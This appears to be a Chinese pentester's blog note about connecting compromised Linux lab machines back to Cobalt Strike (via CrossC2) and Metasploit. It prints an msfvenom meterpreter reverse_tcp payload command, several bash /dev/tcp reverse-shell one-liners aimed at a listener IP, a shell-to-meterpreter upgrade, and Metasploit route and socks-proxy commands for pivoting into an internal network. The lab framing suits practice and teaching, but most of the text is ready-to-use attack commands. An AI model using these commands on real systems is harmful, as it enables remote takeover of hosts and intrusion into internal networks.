渗透过程中遇到Windows环境比较多,习惯了上线CS和MSF进行操作。打靶场的时候拿到Linux权限后有点蒙,不知掉咋上线和添加代理了。这里记录一下常用的上线方式。
0x01 Cobalt strike
很早就听说过CrossC2项目,具体安装方法可以参考官方文档。根据项目说明,目前功能还不是很完善,不支持socks代理和TCP正向连接等功能。简易使用流程如下:
1.建立一个C2的HTTPS的listener,(测试发现基于TCP的listener回连失败)
2.生成恶意文件,将恶意文件上传至目标靶机运行上线
3.开启web服务,目标靶机远程下载恶意文件运行上线
- 恶意文件
生成一个基于C2的HTTPS的listener,需提前建一个CS的监听
生成时有几点需要注意
1.keys文件需要从CS服务端下载到本地,该文件隐藏看不见
2.Listener一栏选择提前建立的CS的监听
3.若点击build生成文件失败,需要给genCrossC2.MacOS文件执行权限
之后将生成的out文件上传至目标机器执行即可
- 利用Web Delivery
和windows上线的方法是一样的,打开一个WEB服务,目标系统下载恶意文件并执行。
有几点需要注意
1.需提前建一个C2的listener
2.Type根据目标系统选择
之后在目标靶机上直接执行生成的代码即可上线
0x02 MSF
上线思路和CS一样,比较好的一点是在上线后能方便的添加内网路由和socks代理。
- 恶意文件
首先利用msf生成木马文件,指定回连的VPS的IP和端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4446 -f elf > shell.elf
msf监听等待回连,将木马文件上传至目标靶机运行即可回连
- bash反连
首先还是建立监听等待回连
handler -H XX.XX.XX.XX -P 4447 -p linux/x64/shell/reverse_tcp -n msf_linux_bash
之后在目标机器上执行如下命令即可,(任选一条)
echo 'bash -i >& /dev/tcp/192.168.88.88/4444 0>&1' | bash
sh -i >& /dev/tcp/192.168.88.88/4444 0>&1
bash -i >& /dev/tcp/192.168.88.88/4444 0>&1
bash -c '0<&31-;exec 31<>/dev/tcp/192.168.88.88/4444;sh <&31 >&31 2>&31'
bash -c '0<&168-;exec 168<>/dev/tcp/192.168.88.88/4444;sh <&168 >&168 2>&168'
bash -c '0<&168-;exec 168<>/dev/tcp/192.168.88.88/4444;bash <&168 >&168 2>&168'

这样获取的session其实就是目标靶机的bash。需要转换到meterpreter上才能进一步操作
use post/multi/manage/shell_to_meterpreter
set lhost 192.168.88.88
set lport 4448
set session 2
run

0x03 MSF添加路由和代理
很多情况下需要利用靶机做跳板将MSF带进内网进行扫描,这时就需要添加路由(去192.168.52网段的流量都会通过session 3进行代理),这时就可以利用MSF进行C段扫描了。
route add 192.168.52.0/24 3
route print

此时,若其他工具也要进行代理,就需要添加socks。(可以看到能自己指定代理的端口和socks版本)
use auxiliary/server/socks_proxy
set srvport 10006
run
最后,在MSF上添加完Socks代理并正确配置本地proxychains之后,就能成功地将工具代理进入内网了
0x04 套上CDN的CS使用C2插件
由于C2插件目前功能不完善,套上CDN后无法进行回连,占坑待填....